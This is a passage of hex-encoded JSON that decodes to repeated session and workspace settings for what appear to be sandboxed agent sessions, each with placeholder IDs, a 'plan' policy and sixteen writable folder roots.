776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b